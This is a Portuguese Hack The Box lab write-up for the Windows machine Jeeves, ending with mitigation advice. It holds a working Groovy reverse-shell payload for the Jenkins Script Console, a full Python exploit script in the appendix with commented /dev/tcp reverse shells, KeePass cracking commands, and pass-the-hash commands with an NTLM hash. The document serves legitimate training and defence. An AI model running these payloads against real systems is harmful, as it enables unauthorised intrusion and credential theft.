Jeeves
Introdução
https://app.hackthebox.com/machines/Jeeves
Jeeves é uma máquina Windows de dificuldade Medium da plataforma Hack The Box. O ponto de entrada é um servidor Jenkins exposto na porta 50000, vulnerável a execução remota de comandos através do console de scripts Groovy (Script Console). A partir do shell inicial, obtido como o usuário kohsuke, foi localizado um banco de dados de senhas KeePass (.kdbx) que, após ser quebrado, revelou um hash NTLM do usuário Administrator. Esse hash permitiu autenticação via pass-the-hash e escalonamento completo de privilégios até SYSTEM/Administrator.
IP alvo: 10.10.10.63
O script de exploração automatizado utilizado para obter o shell inicial está disponível ao final deste relatório, na seção Anexos.
Escaneamento
O primeiro passo é enumerar a máquina. Para isso usamos o nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.63 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.63
O scan revela portas típicas de um host Windows (RPC, SMB) além de um serviço web adicional rodando na porta 50000.
Enumeração
Porta 80 (HTTP)
Existe uma página web simples.
http://10.10.10.63

Fuzzing de diretórios web
gobuster dir -u http://10.10.10.63/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html
Não retornou nada de interessante. Ao tentar o fuzzing na porta 50000, encontramos uma URL rodando a aplicação web Jenkins.
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html
===============================================================
http://10.10.10.63:50000/askjeeves (Status: 200) [Size: 11521]
===============================================================
http://10.10.10.63:50000/askjeeves
Essa aplicação, o Jenkins, já possui uma vulnerabilidade conhecida que permite obter uma reverse shell através do console de scripts. Isso é explorado no próximo passo.
Exploração
Explorando o Jenkins (Script Console)
O serviço vulnerável explorado nesta máquina é o Jenkins, através do seu Script Console. Trata-se de uma funcionalidade legítima do Jenkins que permite a execução de scripts Groovy arbitrários diretamente no servidor — quando exposta sem autenticação (como neste caso), ela se torna um vetor de execução remota de comandos (RCE) completo no host onde o Jenkins está rodando.
Nosso payload Groovy é colocado nesse campo. Como a máquina é Windows, configuramos para chamar um cmd.exe.

String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Depois de preparar um listener no kali na porta 443, clicamos em “Run” para executar o script e recebemos a shell de volta.

Pós-exploração
Ganhamos shell com o usuário jeeves\kohsuke.
Enumeração Local
Em C:\Users\kohsuke\Documents há um banco de dados de senhas.

Elevação de Privilégios
Vamos baixar o arquivo CEH.kdbx para o kali e tentar quebrá-lo com john the ripper.
Download:
No kali: impacket-smbserver share . -smb2support
No alvo: copy CEH.kdbx //10.10.14.9/share/
Para quebrar a senha com o john, antes é preciso passar pelo keepass2john, que transforma o arquivo em um formato interpretável pelo john.
keepass2john CEH.kdbx > hash-kdbx

john hash-kdbx -wordlist=/usr/share/wordlists/rockyou.txt

Senha: moonshine1 Alternativa: usando Hashcat para quebrar a senha
hashcat hash-kdbx --user /usr/share/wordlists/rockyou.txt
Vamos usar a ferramenta keepassx para abrir o banco de dados.
keepassx CEH.kdbx
Dentro do banco de dados encontramos um hash NTLM. Vamos tentar usá-lo para autenticar como Administrator, com o psexec.

crackmapexec smb 10.10.10.63 -u "Administrator" -H "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"
Hash validado, o que confirma a possibilidade de pass-the-hash. Seguimos para o acesso administrativo com impacket-psexec.
impacket-psexec Administrator@10.10.10.63 -hashes "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"
Com isso obtivemos shell como Administrator/SYSTEM na máquina.
Obtendo a Flag de Root
No Desktop do usuário Administrator há um arquivo hm.txt dizendo para procurar a flag de root em outro lugar, mais adiante.
Vamos então olhar para os Alternate Data Streams (ADS) do arquivo:
dir /R
Confirmamos a existência de um data stream. Para ler o conteúdo usamos o more:
more < hm.txt:root.txt
Anexos
Script em Python usado para automatizar a obtenção da reverse shell através do Jenkins Script Console.
jeeves-getshell.py
#! /usr/bin/env python3
#### Title: Exploit Get Shell - RCE - Jenkins
#### Author: 0xEtern4lW0lf
#### Created: 23 Dez 2022
#### Description: Explore Jenkins - GetShell - Jeeves - HTB
#### ========= MODULES =========
import argparse
import requests
import socket, telnetlib
from threading import Thread
#### ========= VARIABLE =========
#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m "
## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
#### ========= FUNCTION =========
## Banner
def banner():
EwLogo = f"""
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
_____ _ ___ _ _ _ _____ _ __
| ___|| | / || || | | || _ || | / _|
| |__ | |_ ___ _ __ _ __ / /| || || | | || |/' || || |_
| __| | __| / _ \| '__|| '_ \ / /_| || || |/\| || /| || || _|
| |___ | |_ | __/| | | | | |\___ || |\ /\ /\ |_/ /| || |
\____/ \__| \___||_| |_| |_| |_/|_| \/ \/ \___/ |_||_|
#----------------------------------------------------------------#
Author: {GREEN}0xEtern4lW0lf{END}
{RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print(f'{BLUE}{EwLogo}{END}')
## Set the handler
def handler(lport,target):
print(f"[+] Starting handler on {lport} [+]")
tn = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",lport))
s.listen(1)
conn, addr = s.accept()
print(f"[+] Receiving connection the {target} [+]")
tn.sock = conn
print("[+] Habemus Shell! [+]")
tn.interact()
# Define the payload to be included in the URL
def createPayload(lhost,lport):
global payload
# if target_system == "Windows":
payload = '''String host="%s";
int port=%s;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'''%(lhost,lport)
# if target_system == "Linux":
# payload = '''r = Runtime.getRuntime()
#p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#p.waitFor()''' %(lhost,lport)
# r = Runtime.getRuntime()
# p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
# p.waitFor()""" %(lhost,lport),}
## Get the reverse shell
def getShell(rhost,rport,payload):
print("[+] Let's get the reverse shell [+]")
url = f"http://{rhost}:{rport}/askjeeves/script"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '851',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',}
# data = {
# "script": """
# r = Runtime.getRuntime()
# p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
# p.waitFor()""" % (lhost,lport),}
data = {
'script': payload,
'Jenkins-Crumb': '36267798ca3b6bfaf580958598da889c',
'Submit' : 'Run',}
## If set proxy, add option "proxies=proxies"
requests.post(url, headers=headers, data=data)
## main
def main():
## Parse Arguments
parser = argparse.ArgumentParser(description='GetShell - Jeeves / HTB - 0xEtern4lW0lf')
parser.add_argument('-t', '--rhost', help='Target IP address or hostname.', required=True)
parser.add_argument('-p', '--rport', help='Port of the target machine.', type=int, required=True)
parser.add_argument('-li', '--lhost', help='Local IP address or hostname', required=True)
parser.add_argument('-lp', '--lport', help='Local Port to receive the shell', type=int, required=True)
args = parser.parse_args()
rhost = args.rhost
rport = args.rport
lhost = args.lhost
lport = args.lport
## Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
## Print some information
print("\n[+] Setting information")
print("[+] target: ", rhost)
print("[+] lhost: ", lhost)
print("[+] lport: ", lport)
## Create the payload
createPayload(lhost,lport)
## Get the Shell
getShell(rhost,rport,payload)
#### ======= EXECUTION =======
if __name__ == '__main__':
banner()
main()

Mitigação
- Não expor o Jenkins Script Console publicamente sem autenticação forte; restringir seu acesso a administradores de confiança e habilitar autorização baseada em papéis (Role-Based Access Control).
- Tratar o Script Console como equivalente a RCE completo no host que roda o Jenkins — desabilitá-lo quando não for estritamente necessário.
- Manter o Jenkins e seus plugins sempre atualizados, aplicando patches de segurança assim que disponíveis.
- Não armazenar bancos de senhas (KeePass) protegidos por senhas fracas ou reutilizadas; usar senhas/passphrases fortes e únicas para o banco mestre.
- Restringir o uso de contas com privilégios elevados para autenticação remota via NTLM/pass-the-hash (habilitar SMB signing, aplicar LAPS e restringir contas administrativas locais).
- Seguir o princípio do menor privilégio: contas de serviço do Jenkins não devem ter privilégios administrativos no sistema operacional hospedeiro.
- Monitorar e alertar sobre o uso de Alternate Data Streams (ADS) e atividades incomuns no sistema de arquivos NTFS, que podem indicar tentativas de ocultação de dados.